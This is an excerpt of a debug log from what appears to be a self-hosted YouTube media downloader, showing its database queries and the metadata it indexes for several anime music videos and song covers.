db=226.5ms idle=1004.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "b2e2fca5-37fc-4db3-9eb4-d9fb0e94fb9e", false, "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", 7, "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, false, 1, [], 1, ~U[2021-11-27 04:39:19Z], ~U[2026-07-24 02:22:08Z], ~U[2026-07-24 02:22:08Z], "watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, 1, ~U[2021-11-27 04:39:19Z]] 22:22:08.518 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=673.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:08.519 [debug] QUERY OK source="media_profiles" db=0.3ms idle=230.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:08.520 [debug] QUERY OK source="media_items" db=0.6ms idle=230.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 22:22:08.520 [debug] Current batch of media processed. Will check again in 1000ms 22:22:09.521 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This song was made for her istg\n_______________________________\nAnime: Neon Genesis Evangelion (+ \"the end of evangelion\" movie)\nSoftware: SonyVegas Pro 17\nColoring: \"Lovely\" by JadeJax\n_______________________________\nThis AMV is made with non-profit or does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\n\"Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for 'fair use' for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use\"\n\nI DO NOT OWN ANY Animation or ARTIST COMPANY.\nI MAKE NO PROFIT BY MAKING THESE VIDEOS. ALL RIGHTS RESERVED.\n#asuka #soryu #nobody #amv #eva #mitski #anime", "duration" => 102, "filename" => "/downloads/Nightcore/Nightcore/2021-09-12ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲[qYEJZoK1eIA].m4a", "id" => "qYEJZoK1eIA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qYEJZoK1eIA", "playlist_index" => 8, "timestamp" => 1631428678, "title" => "ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲", "upload_date" => "20210912"} 22:22:09.521 [debug] QUERY OK source="sources" db=0.3ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:09.522 [debug] QUERY OK source="sources" db=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:09.522 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-09-12 06:37:58Z], 1] 22:22:09.768 [debug] QUERY OK source="media_items" db=245.0ms idle=1002.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["This song was made for her istg\n_______________________________\nAnime: Neon Genesis Evangelion (+ \"the end of evangelion\" movie)\nSoftware: SonyVegas Pro 17\nColoring: \"Lovely\" by JadeJax\n_______________________________\nThis AMV is made with non-profit or does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\n\"Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for 'fair use' for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use\"\n\nI DO NOT OWN ANY Animation or ARTIST COMPANY.\nI MAKE NO PROFIT BY MAKING THESE VIDEOS. ALL RIGHTS RESERVED.\n#asuka #soryu #nobody #amv #eva #mitski #anime", "ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲", "e40adbce-1033-4f27-a4c7-9d7b1a4cb4c3", false, "qYEJZoK1eIA", 102, false, "https://www.youtube.com/watch?v=qYEJZoK1eIA", 8, "/downloads/Nightcore/Nightcore/2021-09-12ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲[qYEJZoK1eIA].m4a", false, false, 1, [], 1, ~U[2021-09-12 06:37:58Z], ~U[2026-07-24 02:22:09Z], ~U[2026-07-24 02:22:09Z], "This song was made for her istg\n_______________________________\nAnime: Neon Genesis Evangelion (+ \"the end of evangelion\" movie)\nSoftware: SonyVegas Pro 17\nColoring: \"Lovely\" by JadeJax\n_______________________________\nThis AMV is made with non-profit or does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\n\"Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for 'fair use' for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use\"\n\nI DO NOT OWN ANY Animation or ARTIST COMPANY.\nI MAKE NO PROFIT BY MAKING THESE VIDEOS. ALL RIGHTS RESERVED.\n#asuka #soryu #nobody #amv #eva #mitski #anime", "ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲", "qYEJZoK1eIA", 102, false, "https://www.youtube.com/watch?v=qYEJZoK1eIA", "/downloads/Nightcore/Nightcore/2021-09-12ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲[qYEJZoK1eIA].m4a", false, 1, ~U[2021-09-12 06:37:58Z]] 22:22:09.768 [debug] QUERY OK source="sources" db=0.1ms idle=921.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:09.769 [debug] QUERY OK source="media_profiles" db=0.1ms idle=247.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:09.769 [debug] QUERY OK source="media_items" db=0.1ms idle=246.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 22:22:09.769 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "When I first made my cover for \"The Winner Takes it All,\" I was very naive when it came to Synth V Studio and audio mixing. (I'm still working on that) It still may not be perfect, but I think this is much better. Thank you all for your kind words and messages. I read all of it, and always appreciate critiques and suggestions on how to improve. \n\nI hope you enjoy.\n\nOriginal: https://www.youtube.com/watch?v=KVoc_WW1TzU\n\n\"The Winner Takes it All\" By ABBA\nProduced by Björn Ulvaeus & Benny Andersson\n \n\n\n #synthvcover #kasaneteto #teto #abba #cover", "duration" => 298, "filename" => "/downloads/Nightcore/Nightcore/2026-05-17The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】[Ggs7y9-X83s].m4a", "id" => "Ggs7y9-X83s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Ggs7y9-X83s", "playlist_index" => 9, "timestamp" => 1779032354, "title" => "The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】", "upload_date" => "20260517"} 22:22:09.769 [debug] QUERY OK source="sources" db=0.1ms idle=247.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:09.770 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:09.770 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 15:39:14Z], 1] 22:22:09.935 [debug] QUERY OK source="media_items" db=164.5ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["When I first made my cover for \"The Winner Takes it All,\" I was very naive when it came to Synth V Studio and audio mixing. (I'm still working on that) It still may not be perfect, but I think this is much better. Thank you all for your kind words and messages. I read all of it, and always appreciate critiques and suggestions on how to improve. \n\nI hope you enjoy.\n\nOriginal: https://www.youtube.com/watch?v=KVoc_WW1TzU\n\n\"The Winner Takes it All\" By ABBA\nProduced by Björn Ulvaeus & Benny Andersson\n \n\n\n #synthvcover #kasaneteto #teto #abba #cover", "The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】", "ae68c59e-72a3-4874-860f-83e01977cd4e", false, "Ggs7y9-X83s", 298, false, "https://www.youtube.com/watch?v=Ggs7y9-X83s", 9, "/downloads/Nightcore/Nightcore/2026-05-17The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】[Ggs7y9-X83s].m4a", false, false, 1, [], 1, ~U[2026-05-17 15:39:14Z], ~U[2026-07-24 02:22:09Z], ~U[2026-07-24 02:22:09Z], "When I first made my cover for \"The Winner Takes it All,\" I was very naive when it came to Synth V Studio and audio mixing. (I'm still working on that) It still may not be perfect, but I think this is much better. Thank you all for your kind words and messages. I read all of it, and always appreciate critiques and suggestions on how to improve. \n\nI hope you enjoy.\n\nOriginal: https://www.youtube.com/watch?v=KVoc_WW1TzU\n\n\"The Winner Takes it All\" By ABBA\nProduced by Björn Ulvaeus & Benny Andersson\n \n\n\n #synthvcover #kasaneteto #teto #abba #cover", "The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】", "Ggs7y9-X83s", 298, false, "https://www.youtube.com/watch?v=Ggs7y9-X83s", "/downloads/Nightcore/Nightcore/2026-05-17The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】[Ggs7y9-X83s].m4a", false, 1, ~U[2026-05-17 15:39:14Z]] 22:22:09.935 [debug] QUERY OK source="sources" db=0.2ms idle=165.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:09.936 [debug] QUERY OK source="media_profiles" db=0.1ms idle=165.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:09.936 [debug] QUERY OK source="media_items" db=0.2ms idle=165.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10] 22:22:09.936 [debug] Current batch of media processed. Will check again in 1000ms 22:22:10.936 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "A little amv to go with nanidato's banger\nhttps://soundcloud.com/nanidato/super-riser\n\nDedicated to everyone's favourite space-idol\n\n29/02/2020: 1 million views!\n01/04/2022: 10 million views!\n\nMusic: ナニダトnanidato - SUPER RISER!\nVideo: Macross: Do You Remember Love?", "duration" => 246, "filename" => "/downloads/Nightcore/Nightcore/2015-09-22[AMV] SUPER RISER! 「Do You Remember Love?」[srnyVw-OR0g].m4a", "id" => "srnyVw-OR0g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=srnyVw-OR0g", "playlist_index" => 10, "timestamp" => 1442931129, "title" => "[AMV] SUPER RISER! 「Do You Remember Love?」", "upload_date" => "20150922"} 22:22:10.937 [debug] QUERY OK source="sources" db=0.2ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:10.937 [debug] QUERY OK source="sources" db=0.1ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:10.938 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-09-22 14:12:09Z], 1] 22:22:11.095 [debug] QUERY OK source="media_items" db=156.7ms idle=1001.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["A little amv to go with nanidato's banger\nhttps://soundcloud.com/nanidato/super-riser\n\nDedicated to everyone's favourite space-idol\n\n29/02/2020: 1 million views!\n01/04/2022: 10 million views!\n\nMusic: ナニダトnanidato - SUPER RISER!\nVideo: Macross: Do You Remember Love?", "[AMV] SUPER RISER! 「Do You Remember Love?」", "cf4d9eca-971e-469c-a867-29d339b88d68", false, "srnyVw-OR0g", 246, false, "https://www.youtube.com/watch?v=srnyVw-OR0g", 10, "/downloads/Nightcore/Nightcore/2015-09-22[AMV] SUPER RISER! 「Do You Remember Love?」[srnyVw-OR0g].m4a", false, false, 1, [], 1, ~U[2015-09-22 14:12:09Z], ~U[2026-07-24 02:22:10Z], ~U[2026-07-24 02:22:10Z], "A little amv to go with nanidato's banger\nhttps://soundcloud.com/nanidato/super-riser\n\nDedicated to everyone's favourite space-idol\n\n29/02/2020: 1 million views!\n01/04/2022: 10 million views!\n\nMusic: ナニダトnanidato - SUPER RISER!\nVideo: Macross: Do You Remember Love?", "[AMV] SUPER RISER! 「Do You Remember Love?」", "srnyVw-OR0g", 246, false, "https://www.youtube.com/watch?v=srnyVw-OR0g", "/downloads/Nightcore/Nightcore/2015-09-22[AMV] SUPER RISER! 「Do You Remember Love?」[srnyVw-OR0g].m4a", false, 1, ~U[2015-09-22 14:12:09Z]] 22:22:11.096 [debug] QUERY OK source="sources" db=0.4ms idle=158.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:11.096 [debug] QUERY OK source="media_profiles" db=0.1ms idle=158.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:11.096 [debug] QUERY OK source="media_items" db=0.2ms idle=158.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11] 22:22:11.096 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Nightcore/Nightcore/NAyoutube video #EbJWdNnz5jA[EbJWdNnz5jA].NA", "id" => "EbJWdNnz5jA", "original_url" => "https://www.youtube.com/watch?v=EbJWdNnz5jA", "playlist_index" => 11, "title" => "youtube video #EbJWdNnz5jA"} 22:22:11.097 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:11.097 [debug] Current batch of media processed. Will check again in 1000ms 22:22:12.097 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "song - rises the moon - Liana Flores\nanime - Frieren: Beyond Journey's End\n\n\n\n\n\n\nversion without subtitles: https://youtu.be/a9FaCsUKu24\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ntags: rises the moon, frieren, sousou no frieren, beyond journeys end, amv, edit, liana flores, anime", "duration" => 97, "filename" => "/downloads/Nightcore/Nightcore/2024-07-20rises the moon[5b2MFJMeonI].m4a", "id" => "5b2MFJMeonI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5b2MFJMeonI", "playlist_index" 